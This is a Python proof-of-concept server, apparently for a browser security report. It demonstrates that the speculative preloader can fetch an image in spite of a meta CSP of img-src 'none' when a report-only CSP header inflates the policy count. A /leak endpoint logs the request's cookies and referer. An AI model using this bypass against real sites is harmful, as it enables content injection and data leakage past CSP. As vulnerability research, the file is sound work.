#!/usr/bin/env python3
"""
HTTP server for CSP-preload-gate bypass POC.

Serves /poc.html with one CSP-Report-Only HTTP header so that the document's
ContentSecurityPolicy::policies_ vector has size 1 *before* any HTML is parsed.
The body then contains a single <meta http-equiv=content-security-policy
content="img-src 'none'"> followed by an <img>. The preload scanner counts the
meta (seen_csp_meta_tags_ = 1) and queues the <img> in the same first-chunk
batch; AllowPreloading() compares policies_.size() (1, from the header) ==
seen_csp_meta_tags_ (1) and dispatches the preload before the tree builder has
applied the meta policy. The /leak endpoint logs the credentialed request.

A /control.html page is served *without* any CSP header so that
policies_.size() == 0 != 1 at first scan -> preload correctly deferred until
the meta is applied -> img blocked. No /leak request should be seen for it.
"""
import http.server
import socketserver
import sys
import threading

PORT = 8000

POC_BODY = (
    b"<!doctype html><html><head>"
    b"<meta http-equiv=\"content-security-policy\" content=\"img-src 'none'\">"
    b"<img src=\"http://127.0.0.1:8000/leak?token=SECRET&via=poc\">"
    b"</head><body>"
    b"poc page: meta CSP says img-src 'none'. If /leak is hit, the meta CSP "
    b"was bypassed by the speculative preloader."
    b"</body></html>"
)

CONTROL_BODY = (
    b"<!doctype html><html><head>"
    b"<meta http-equiv=\"content-security-policy\" content=\"img-src 'none'\">"
    b"<img src=\"http://127.0.0.1:8000/leak?token=SECRET&via=control\">"
    b"</head><body>"
    b"control page (no CSP header): preload should stay queued until meta is "
    b"applied, then be blocked. /leak must NOT be hit."
    b"</body></html>"
)

INDEX_BODY = (
    b"<!doctype html><title>index</title>"
    b"<p><a href=/poc.html>poc.html</a> (with CSP-RO header -> bug fires)"
    b"<p><a href=/control.html>control.html</a> (no header -> blocked)"
)

leak_hits = []
lock = threading.Lock()


class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def _send(self, body, extra_headers=()):
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Cache-Control", "no-store")
        for k, v in extra_headers:
            self.send_header(k, v)
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        path = self.path.split("?", 1)[0]

        if path == "/poc.html":
            # One report-only header -> policies_.size() == 1 at commit time.
            # Report-only + default-src 'self' is a no-op for enforcement; it
            # exists solely to inflate the policy count.
            self._send(
                POC_BODY,
                extra_headers=[
                    ("Content-Security-Policy-Report-Only", "default-src 'self'"),
                ],
            )
            return

        if path == "/control.html":
            # Same body, NO header policy. policies_.size() == 0 at first scan.
            self._send(CONTROL_BODY)
            return

        if path == "/leak":
            with lock:
                leak_hits.append(self.path)
            banner = "=" * 72
            sys.stderr.write(
                f"\n{banner}\n"
                f"[!!!] LEAK ENDPOINT HIT: {self.path}\n"
                f"[!!!] Referer: {self.headers.get('Referer')}\n"
                f"[!!!] Cookie:  {self.headers.get('Cookie')}\n"
                f"[!!!] Purpose: {self.headers.get('Purpose')} "
                f"Sec-Purpose: {self.headers.get('Sec-Purpose')}\n"
                f"[!!!] -> meta CSP (img-src 'none') was BYPASSED by speculative "
                f"preload\n"
                f"{banner}\n\n"
            )
            sys.stderr.flush()
            # Tiny 1x1 gif
            gif = (b"GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff!"
                   b"\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01"
                   b"\x00\x00\x02\x02D\x01\x00;")
            self.send_response(200)
            self.send_header("Content-Type", "image/gif")
            self.send_header("Content-Length", str(len(gif)))
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(gif)
            return

        if path in ("/", "/index.html"):
            self._send(INDEX_BODY)
            return

        if path == "/favicon.ico":
            self.send_response(204)
            self.send_header("Content-Length", "0")
            self.end_headers()
            return

        self.send_error(404)

    def log_message(self, fmt, *args):
        sys.stderr.write("[server] %s - %s\n" % (self.address_string(), fmt % args))


class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


def main():
    httpd = ThreadingHTTPServer(("127.0.0.1", PORT), Handler)
    sys.stderr.write(f"[server] listening on http://127.0.0.1:{PORT}\n")
    sys.stderr.write(f"[server] POC:     http://127.0.0.1:{PORT}/poc.html\n")
    sys.stderr.write(f"[server] control: http://127.0.0.1:{PORT}/control.html\n")
    sys.stderr.flush()
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    finally:
        with lock:
            sys.stderr.write(f"\n[server] total /leak hits: {len(leak_hits)}\n")
            for h in leak_hits:
                sys.stderr.write(f"[server]   {h}\n")


if __name__ == "__main__":
    main()